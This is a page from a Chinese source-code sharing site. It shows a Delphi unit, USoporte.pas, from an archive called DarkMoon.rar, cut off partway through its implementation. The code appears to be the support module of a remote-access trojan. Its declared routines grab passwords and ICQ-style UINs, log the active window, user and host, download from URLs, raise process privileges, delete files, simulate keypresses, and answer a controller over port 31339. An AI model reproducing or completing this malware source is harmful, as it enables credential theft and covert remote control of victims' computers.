开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Delphi控件源码 > 查看源码
USoporte.pas
资源名称：DarkMoon.rar　[点击查看]
上传用户：hndmjx
上传日期：2014-09-16
资源大小：3369k
文件大小：20k
源码类别：

Delphi控件源码

开发平台：

Delphi

USoporte.pas：源码内容
  1. ////////////////////////////////////////////////////////////////////////////////
  2. /////////////esta es mi SysUtils////////////////////////////////////////////////
  3. ////////////////////////////////////////////////////////////////////////////////
  5. unit USoporte;
  7. interface
  9. uses winsock, windows;
  11. var whandle : Thandle;
  13. //{$EXTERNALSYM WSAIoctl}
  14. function WSAIoctl( hSocket: TSocket; ControlCode:dword;
  15.                    InBuf : Pointer; InBufLen:DWord;
  16.                    OutBuf : Pointer; OutBufLen:DWord;
  17.                    BytesReturned : PDWord;
  18.                    lpOverlapped: POverlapped;
  19.                    lpOverlappedRoutine:pointer) : Integer; stdcall;
  20. //{$EXTERNALSYM WSASocket}
  21. function WSASocket(Family, sType, Protocol : Integer;
  22.                    lpProtocolInfo : Pointer;
  23.                    Group : uint;
  24.                    dwFlags : DWORD): TSocket; stdcall;
  26. function WSAIoctl;          external     'ws2_32.dll' name 'WSAIoctl';
  27. function WSASocket;         external     'ws2_32.dll' name 'WSASocketA';
  30. function FindWindowsDir : string;
  31. function Dame_Password( Password : String ) : String;
  32. function Encriptar(const S: String ): String;
  33. function Desencriptar( S: String ): String;
  34. function Dame_Uin( Uin : String ) : String;
  35. function LocalIP: String;
  36. function VentanaActiva: String;
  37. function Usuario: String;
  38. function NombreHost: String;
  39. function TextoValido( b :  Array of Char ):string;
  40. function EsXP : Boolean;
  41. function Descargar( url : String; Parametro2: String  ): boolean;
  42. procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
  43. function  BorrarArchivo( s: String ): Boolean;
  44. procedure showm( s : String );
  45. function GetCPUSpeed: real;
  46. procedure CrearStats;
  47. function FileExists( s : String ): Boolean;
  48. function StrToInt64(const S: string): Int64;
  49. function BuffToStr( const b : Array of Char ) : string;
  50. function StrToInt(const S: string ): Integer;
  51. function IntToStr(Value: Integer): string;
  52. function StrPCopy(Dest: PChar; const Source: string): PChar;
  53. function LowerCase(const S: string): string;
  54. function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
  55. function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
  56. function StrToIntDef(const S: string; Default: Integer): Integer;
  57. function Trim(const S: string): string;
  58. function UpperCase( S :String ): String ;
  59. function Time : string;
  60. function Date : string;
  61. function stringtochar(st : string) : char;
  62. function HexToInt(s: string): Longword;
  63. function GenerarRandomString: String;
  64. function Ocurrencias( const ss, s: String ): Integer;
  65. function IpComoPalabra: String;
  66. procedure PresionarTecla( key: Byte );
  67. procedure Contestar( UDP : TSocket; cli : TsockAddr; S : String; tcp: Integer );
  69. implementation
  71. uses wininet, UThread;
  74. procedure Contestar( UDP : TSocket; cli : TsockAddr; s : String; tcp: Integer );
  75. begin
  76.      cli.sin_port := htons( 31339 );
  77.      if Tcp <> -1 then
  78.         Send( tcp, Pointer( s + '